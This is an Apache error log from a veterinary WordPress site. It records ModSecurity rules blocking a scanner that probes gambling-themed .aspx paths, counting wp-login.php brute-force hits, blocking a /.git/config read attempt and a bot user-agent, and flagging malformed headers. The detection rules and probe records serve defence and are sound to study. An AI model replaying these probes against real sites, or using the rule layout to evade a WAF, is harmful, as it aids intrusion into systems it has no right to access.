[Mon May 04 16:52:58.005108 2026] [:error] [pid 61042:tid 61062] [client 135.181.180.59:2886] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "afheaknAPPS1fjubA9Q33gAAANA"]
[Mon May 04 16:53:00.444453 2026] [:error] [pid 61043:tid 61082] [client 135.181.180.59:2890] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "afhebJ8-LwtfURjiAbCH2AAAAEc"]
[Mon May 04 16:53:02.822624 2026] [:error] [pid 3341:tid 3360] [client 135.181.180.59:2900] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "afhebk9o3_LordU0wW7_sgAAAJA"]
[Mon May 04 16:53:05.337491 2026] [:error] [pid 61042:tid 61064] [client 135.181.180.59:17078] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "afhecUnAPPS1fjubA9Q34QAAANI"]
[Mon May 04 16:53:07.847115 2026] [:error] [pid 61044:tid 61102] [client 135.181.180.59:17080] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "afhec0w8w2zZZXI6H1t2XgAAAAA"]
[Mon May 04 16:53:16.884207 2026] [:error] [pid 61150:tid 61162] [client 135.181.180.59:26190] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "afhefO8QXWVLiwIGVpdVfwAAAUk"]
[Mon May 04 16:53:19.404296 2026] [:error] [pid 61043:tid 61084] [client 135.181.180.59:26198] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "afhef58-LwtfURjiAbCH8gAAAEk"]
[Mon May 04 16:53:21.911350 2026] [:error] [pid 61150:tid 61156] [client 135.181.180.59:26200] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "afhege8QXWVLiwIGVpdVhQAAAUM"]
[Mon May 04 16:53:24.444753 2026] [:error] [pid 3341:tid 3353] [client 135.181.180.59:26214] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "afhehE9o3_LordU0wW7_3AAAAIk"]
[Mon May 04 16:53:26.957980 2026] [:error] [pid 61043:tid 61075] [client 135.181.180.59:47484] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "afhehp8-LwtfURjiAbCH9wAAAEA"]
[Mon May 04 16:53:29.547733 2026] [:error] [pid 61042:tid 61057] [client 135.181.180.59:47494] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "afheiUnAPPS1fjubA9Q38AAAAMs"]
[Mon May 04 16:53:31.987605 2026] [:error] [pid 3341:tid 3350] [client 135.181.180.59:47508] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "afhei09o3_LordU0wW7_3wAAAIY"]
[Mon May 04 16:53:34.375984 2026] [:error] [pid 61043:tid 61075] [client 135.181.180.59:47518] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "afhejp8-LwtfURjiAbCH_wAAAEA"]
[Mon May 04 16:53:36.937189 2026] [:error] [pid 61043:tid 61098] [client 135.181.180.59:40736] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afhekJ8-LwtfURjiAbCIAwAAAFc"]
[Mon May 04 16:53:39.426000 2026] [:error] [pid 61150:tid 61161] [client 135.181.180.59:40746] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "afhek-8QXWVLiwIGVpdVlgAAAUg"]
[Mon May 04 16:53:41.901863 2026] [:error] [pid 61043:tid 61096] [client 135.181.180.59:40748] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afhelZ8-LwtfURjiAbCIBgAAAFU"]
[Mon May 04 16:53:44.451054 2026] [:error] [pid 61042:tid 61056] [client 135.181.180.59:40758] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "afhemEnAPPS1fjubA9Q39gAAAMo"]
[Mon May 04 16:54:29.811177 2026] [:error] [pid 61042:tid 61062] [client 135.181.180.59:5720] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afhexUnAPPS1fjubA9Q4LAAAANA"]
[Mon May 04 16:54:32.421052 2026] [:error] [pid 61044:tid 61121] [client 135.181.180.59:5734] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "afheyEw8w2zZZXI6H1t2vAAAABM"]
[Mon May 04 16:54:34.899437 2026] [:error] [pid 3341:tid 3345] [client 135.181.180.59:5742] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "afheyk9o3_LordU0wW4AKQAAAIE"]
[Mon May 04 16:54:37.402358 2026] [:error] [pid 61042:tid 61048] [client 135.181.180.59:61110] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afhezUnAPPS1fjubA9Q4NwAAAMI"]
[Mon May 04 16:54:40.003282 2026] [:error] [pid 3341:tid 3344] [client 135.181.180.59:61122] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afhe0E9o3_LordU0wW4AMgAAAIA"]
[Mon May 04 16:54:42.464878 2026] [:error] [pid 61042:tid 61051] [client 135.181.180.59:61126] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "afhe0knAPPS1fjubA9Q4PwAAAMU"]
[Mon May 04 16:54:44.923780 2026] [:error] [pid 61042:tid 61070] [client 135.181.180.59:61142] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "afhe1EnAPPS1fjubA9Q4RAAAANg"]
[Mon May 04 16:54:45.917503 2026] [:error] [pid 61150:tid 61169] [client 178.62.32.109:56568] [client 178.62.32.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.32.109, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afhe1e8QXWVLiwIGVpdV2wAAAVA"]
[Mon May 04 16:54:47.229622 2026] [:error] [pid 61150:tid 61172] [client 135.181.180.59:24576] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "afhe1-8QXWVLiwIGVpdV4gAAAVM"]
[Mon May 04 16:54:49.713311 2026] [:error] [pid 61043:tid 61079] [client 135.181.180.59:24584] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afhe2Z8-LwtfURjiAbCIhAAAAEQ"]
[Mon May 04 16:54:52.041099 2026] [:error] [pid 61150:tid 61153] [client 135.181.180.59:24598] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "afhe3O8QXWVLiwIGVpdV6gAAAUA"]
[Mon May 04 16:54:54.542095 2026] [:error] [pid 3341:tid 3367] [client 135.181.180.59:24608] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "afhe3k9o3_LordU0wW4AOAAAAJc"]
[Mon May 04 17:26:17.312814 2026] [ssl:error] [pid 61042:tid 61059] [client 15.204.161.7:7994] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://www.macfieldsvet.com.au/
[Mon May 04 17:36:18.020717 2026] [:error] [pid 3341:tid 3344] [client 5.141.84.215:49104] [client 5.141.84.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.141.84.215, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afhokk9o3_LordU0wW4NRwAAAIA"]
[Mon May 04 17:53:02.601889 2026] [:error] [pid 3341:tid 3359] [client 170.106.143.6:41992] [client 170.106.143.6] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afhsfk9o3_LordU0wW4TugAAAI8"]
[Mon May 04 18:35:17.101727 2026] [:error] [pid 61044:tid 61125] [client 78.88.230.100:34078] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.88.230.100, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afh2ZUw8w2zZZXI6H1uHEgAAABc"]
[Mon May 04 20:46:56.564984 2026] [:error] [pid 61043:tid 61090] [client 173.214.162.14:34852] [client 173.214.162.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.214.162.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afiVQJ8-LwtfURjiAbDC0QAAAE8"]
[Mon May 04 21:09:21.574939 2026] [:error] [pid 61042:tid 61054] [client 138.199.146.196:51158] [client 138.199.146.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.199.146.196, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afiagUnAPPS1fjubA9RbAAAAAMg"]
[Mon May 04 22:00:59.328625 2026] [:error] [pid 3341:tid 3348] [client 52.63.93.51:18971] [client 52.63.93.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.63.93.51, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afimm09o3_LordU0wW532gAAAIQ"], referer: https://vetstars.com.au/wp-admin/admin.php?page=wpforms-entries&amp;view=list&amp;form_id=1862
[Mon May 04 22:44:19.875613 2026] [:error] [pid 3341:tid 3358] [client 23.98.148.92:43460] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.98.148.92, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afiww09o3_LordU0wW6G2QAAAI4"]
[Tue May 05 00:13:59.819645 2026] [ssl:error] [pid 61044:tid 61107] [client 40.160.16.154:40784] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://macfieldsvet.com.au/
[Tue May 05 00:19:54.149768 2026] [:error] [pid 3341:tid 3349] [client 43.153.122.30:48642] [client 43.153.122.30] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afjHKk9o3_LordU0wW6qsgAAAIU"]
[Tue May 05 00:44:30.729423 2026] [ssl:error] [pid 61150:tid 61162] [client 40.160.16.154:25648] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://www.macfieldsvet.com.au/
[Tue May 05 02:58:28.827301 2026] [:error] [pid 61044:tid 61124] [client 175.27.171.245:34450] [client 175.27.171.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afjsVEw8w2zZZXI6H1vVwgAAABY"]
[Tue May 05 03:31:23.753319 2026] [:error] [pid 61044:tid 61125] [client 49.51.52.250:55224] [client 49.51.52.250] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afj0C0w8w2zZZXI6H1vaiwAAABc"]
[Tue May 05 03:44:07.870167 2026] [:error] [pid 61043:tid 61099] [client 82.223.83.78:36814] [client 82.223.83.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.223.83.78, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afj3B58-LwtfURjiAbAbtwAAAFg"]
[Tue May 05 04:06:54.485634 2026] [:error] [pid 39178:tid 39195] [client 103.172.76.104:15718] [client 103.172.76.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.172.76.104, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afj8XjaPrgTaiOD_15sVPQAAAM8"]
[Tue May 05 04:06:57.759639 2026] [:error] [pid 39072:tid 39113] [client 103.172.76.104:16086] [client 103.172.76.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.172.76.104, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afj8YfolSHl4aAnrIovIdAAAAEY"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F&reauth=1
[Tue May 05 04:07:30.052548 2026] [:error] [pid 39071:tid 39091] [client 103.172.76.104:14866] [client 103.172.76.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.172.76.104, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afj8govmnRMz9gRzix1IpgAAAAs"], referer: https://vetstars.com.au/wp-admin/admin.php?page=wpforms-settings&view=misc
[Tue May 05 04:07:30.260897 2026] [:error] [pid 39071:tid 39098] [client 103.172.76.104:14866] [client 103.172.76.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.172.76.104, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afj8govmnRMz9gRzix1IqQAAABI"], referer: https://vetstars.com.au/wp-admin/admin.php?page=wpforms-settings&view=misc
[Tue May 05 05:02:37.317438 2026] [:error] [pid 39071:tid 39091] [client 45.131.195.199:54911] [client 45.131.195.199] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "afkJbYvmnRMz9gRzix1SOwAAAAs"]
[Tue May 05 05:57:43.174536 2026] [:error] [pid 41055:tid 41072] [client 121.200.216.12:55736] [client 121.200.216.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 121.200.216.12, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afkWVyepFwKgA_SKOHi2-wAAAQ4"]
[Tue May 05 06:18:55.534753 2026] [:error] [pid 39178:tid 39191] [client 114.119.145.151:56335] [client 114.119.145.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/caring-approach/"] [unique_id "afkbTzaPrgTaiOD_15tNgwAAAMs"], referer: https://vetstars.com.au/appointment
[Tue May 05 07:08:19.312117 2026] [:error] [pid 39073:tid 39142] [client 34.19.11.25:54170] [client 34.19.11.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "afkm4_0kT1BNjk46BkcqIQAAAIg"]
[Tue May 05 07:29:28.150702 2026] [:error] [pid 39178:tid 39181] [client 49.51.233.46:35048] [client 49.51.233.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afkr2DaPrgTaiOD_15tj4QAAAME"]
[Tue May 05 08:31:04.309326 2026] [:error] [pid 64890:tid 64915] [client 114.119.138.32:47329] [client 114.119.138.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afk6SByNfxBki939l7eKLQAAAZY"]
[Tue May 05 08:55:00.620387 2026] [proxy_fcgi:error] [pid 39071:tid 39098] (70007)The timeout specified has expired: [client 103.66.143.164:52282] AH01075: Error dispatching request to : (polling), referer: https://vetstars.com.au/wp-admin/post.php?post=16&action=elementor
[Tue May 05 09:53:32.652448 2026] [:error] [pid 39071:tid 39104] [client 46.101.89.245:38264] [client 46.101.89.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.89.245, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aflNnIvmnRMz9gRzix33ZwAAABg"]
